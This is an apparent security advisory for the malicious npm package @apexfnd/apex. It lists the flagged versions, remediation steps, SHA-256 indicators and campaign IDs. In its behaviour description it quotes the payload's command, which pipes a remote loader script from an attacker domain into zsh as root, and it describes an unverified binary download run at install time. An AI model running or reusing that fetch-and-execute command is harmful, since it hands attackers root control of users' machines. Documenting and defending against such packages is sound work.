Which versions of @apexfnd/apex are malicious?

The following npm versions of @apexfnd/apex are flagged malicious: 1.0.0, 1.0.1, 1.0.3, 1.0.4. Treat any of these as compromised.

How do I remediate @apexfnd/apex if I installed it?

Remove @apexfnd/apex from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed @apexfnd/apex — how do I know if it already compromised me?

If @apexfnd/apex was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @apexfnd/apex part of a known attack campaign?

Yes — @apexfnd/apex is associated with the IN-MAL-2026-010912, IN-MAL-2026-010914, IN-MAL-2026-014885, IN-MAL-2026-014887 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @apexfnd/apex across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @apexfnd/apex (4 malicious versions).

Malicious package

@apexfnd/apexnpm

Advisory published Jul 28, 2026Updated Aug 5, 2026

@apexfnd/apex is a confirmed malicious npm package (MAL-2026-11121) that executes malicious code on install (malicious versions 1.0.0, 1.0.1, 1.0.3…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @apexfnd/apex (npm)

MAL-2026-11121

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @apexfnd/apex

What this malware does

The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.

Malicious versions

4 flagged

1.0.01.0.11.0.31.0.4

Indicators of compromise (SHA-256)

8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1

a36d1bb6b7f3f846668a106c514c55789cd9b94500ad04d579dc5fa2621c438c

3db51d0dadd3b16a7fafd6059f176c5804cf716b771c0d3b3d1073e0653ec41b

d0e3f3f7e061602f0908c3e70b635296a021e4ae625ca45b01177f6a49698e0e

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for @apexfnd/apex (4 malicious versions).
If you installed it — respond
Remove @apexfnd/apex from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @apexfnd/apex was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @apexfnd/apex on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.3, 1.0.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010912IN-MAL-2026-010914IN-MAL-2026-014885IN-MAL-2026-014887

References

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